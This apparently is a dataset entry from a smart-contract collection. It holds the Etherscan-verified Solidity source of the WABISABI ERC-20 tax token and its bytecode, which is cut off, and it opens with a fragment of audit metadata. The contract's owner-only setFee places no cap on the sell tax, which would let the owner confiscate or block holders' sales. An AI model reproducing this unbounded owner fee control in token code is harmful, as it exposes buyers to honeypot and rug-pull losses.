"Medium", "confidence": "Medium"}]}} | 1,407 |
0x7db876cabd91f90975dfd1304f8b2e18f8a97de6 | /**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
/**
The Elusive beauty of imperfection...
https://twitter.com/elonmusk/status/1521190864592293891
TG: https://t.me/wabisabieth
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WABISABI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elusive Beauty of Imperfection";//
string private constant _symbol = "WABISABI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 12;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x819330616DdA1221a8be03a0B3a0Cd6F66aD65Cb); // dev wallet
address payable private _marketingAddress = payable(0x819330616DdA1221a8be03a0B3a0Cd6F66aD65Cb); // tax wallet
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2500000000 * 10**9; // 3% max buy
uint256 public _maxWalletSize = 2500000000 * 10**9; // 3% max wallet
uint256 public _swapTokensAtAmount = 100000000 * 10**9; // 0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101855760003560e01c806374010ece116100d157806398a5c3151161008a578063c492f04611610064578063c492f04614610533578063dd62ed3e1461055c578063ea1644d514610599578063f2fde38b146105c25761018c565b806398a5c315146104b6578063a9059cbb146104df578063c3c8cd801461051c5761018c565b806374010ece146103ca5780637c519ffb146103f35780637d1db4a51461040a5780638da5cb5b146104355780638f9a55c01461046057806395d89b411461048b5761018c565b8063313ce5671161013e5780636d8aa8f8116101185780636d8aa8f8146103365780636fc3eaec1461035f57806370a0823114610376578063715018a6146103b35761018c565b8063313ce567146102b757806349bd5a5e146102e257806369fe0e2d1461030d5761018c565b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101f957806318160ddd1461022457806323b872dd1461024f5780632fd689e31461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105eb565b6040516101b39190612de8565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de91906129d2565b610628565b6040516101f09190612db2565b60405180910390f35b34801561020557600080fd5b5061020e610646565b60405161021b9190612dcd565b60405180910390f35b34801561023057600080fd5b5061023961066c565b6040516102469190612faa565b60405180910390f35b34801561025b57600080fd5b5061027660048036038101906102719190612983565b61067d565b6040516102839190612db2565b60405180910390f35b34801561029857600080fd5b506102a1610756565b6040516102ae9190612faa565b60405180910390f35b3480156102c357600080fd5b506102cc61075c565b6040516102d9919061301f565b60405180910390f35b3480156102ee57600080fd5b506102f7610765565b6040516103049190612d97565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f9190612a8f565b61078b565b005b34801561034257600080fd5b5061035d60048036038101906103589190612a66565b61082a565b005b34801561036b57600080fd5b506103746108dc565b005b34801561038257600080fd5b5061039d600480360381019061039891906128f5565b6109ad565b6040516103aa9190612faa565b60405180910390f35b3480156103bf57600080fd5b506103c86109fe565b005b3480156103d657600080fd5b506103f160048036038101906103ec9190612a8f565b610b51565b005b3480156103ff57600080fd5b50610408610bf0565b005b34801561041657600080fd5b5061041f610ca1565b60405161042c9190612faa565b60405180910390f35b34801561044157600080fd5b5061044a610ca7565b6040516104579190612d97565b60405180910390f35b34801561046c57600080fd5b50610475610cd0565b6040516104829190612faa565b60405180910390f35b34801561049757600080fd5b506104a0610cd6565b6040516104ad9190612de8565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190612a8f565b610d13565b005b3480156104eb57600080fd5b50610506600480360381019061050191906129d2565b610db2565b6040516105139190612db2565b60405180910390f35b34801561052857600080fd5b50610531610dd0565b005b34801561053f57600080fd5b5061055a60048036038101906105559190612a0e565b610ea9565b005b34801561056857600080fd5b50610583600480360381019061057e9190612947565b611009565b6040516105909190612faa565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190612a8f565b611090565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906128f5565b61112f565b005b60606040518060400160405280601e81526020017f456c757369766520426561757479206f6620496d70657266656374696f6e0000815250905090565b600061063c6106356112f1565b84846112f9565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b600061068a8484846114c4565b61074b846106966112f1565b610746856040518060600160405280602881526020016136f160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106fc6112f1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c669092919063ffffffff16565b6112f9565b600190509392505050565b60175481565b60006009905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107936112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790612f0a565b60405180910390fd5b80600b8190555050565b6108326112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b690612f0a565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661091d6112f1565b73ffffffffffffffffffffffffffffffffffffffff1614806109935750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661097b6112f1565b73ffffffffffffffffffffffffffffffffffffffff16145b61099c57600080fd5b60004790506109aa81611cca565b50565b60006109f7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc5565b9050919050565b610a066112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b596112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90612f0a565b60405180910390fd5b8060158190555050565b610bf86112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c90612f0a565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600881526020017f5741424953414249000000000000000000000000000000000000000000000000815250905090565b610d1b6112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90612f0a565b60405180910390fd5b8060178190555050565b6000610dc6610dbf6112f1565b84846114c4565b6001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e116112f1565b73ffffffffffffffffffffffffffffffffffffffff161480610e875750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e6f6112f1565b73ffffffffffffffffffffffffffffffffffffffff16145b610e9057600080fd5b6000610e9b306109ad565b9050610ea681611e33565b50565b610eb16112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590612f0a565b60405180910390fd5b60005b83839050811015611003578160056000868685818110610f8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610f9f91906128f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ffb90613262565b915050610f41565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110986112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c90612f0a565b60405180910390fd5b8060168190555050565b6111376112f1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb90612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122b90612e8a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136090612f8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090612eaa565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b79190612faa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b90612f4a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b90612e0a565b60405180910390fd5b600081116115e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115de90612f2a565b60405180910390fd5b6115ef610ca7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d575061162d610ca7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119655760148054906101000a900460ff166116ea5761167c610ca7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090612e2a565b60405180910390fd5b5b60155481111561172f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172690612e6a565b60405180910390fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146117dc5760165481611791846109ad565b61179b919061308f565b106117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d290612f6a565b60405180910390fd5b5b60006117e7306109ad565b90506000601754821015905060155482106118025760155491505b80801561181c5750601460159054906101000a900460ff16155b80156118765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561188e5750601460169054906101000a900460ff165b80156118e45750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561193a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119625761194882611e33565b600047905060008111156119605761195f47611cca565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611a0c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611abf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611abe5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611acd5760009050611c54565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611b785750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b9057600854600c81905550600954600d819055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c3b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c5357600a54600c81905550600b54600d819055505b5b611c608484848461212d565b50505050565b6000838311158290611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca59190612de8565b60405180910390fd5b5060008385611cbd9190613170565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d1a60028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d45573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d9660028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dc1573d6000803e3d6000fd5b5050565b6000600654821115611e0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0390612e4a565b60405180910390fd5b6000611e166121a4565b9050611e2b818461215a90919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e91577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ebf5781602001602082028036833780820191505090505b5090503081600081518110611efd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9f57600080fd5b505afa158015611fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd7919061291e565b81600181518110612011577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061207830601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112f9565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120dc959493929190612fc5565b600060405180830381600087803b1580156120f657600080fd5b505af115801561210a573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b8061213b5761213a6121cf565b5b612146848484612212565b80612154576121536123dd565b5b50505050565b600061219c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123f1565b905092915050565b60008060006121b1612454565b915091506121c8818361215a90919063ffffffff16565b9250505090565b6000600c541480156121e357506000600d54145b156121ed57612210565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612224876124b6565b95509550955095509550955061228286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612363816125c6565b61236d8483612683565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ca9190612faa565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612438576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242f9190612de8565b60405180910390fd5b506000838561244791906130e5565b9050809150509392505050565b60008060006006549050600068056bc75e2d63100000905061248a68056bc75e2d6310000060065461215a90919063ffffffff16565b8210156124a95760065468056bc75e2d631000009350935050506124b2565b81819350935050505b9091565b60008060008060008060008060006124d38a600c54600d546126bd565b92509250925060006124e36121a4565b905060008060006124f68e878787612753565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061256083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c66565b905092915050565b6000808284612577919061308f565b9050838110156125bc576040517f08c379a000000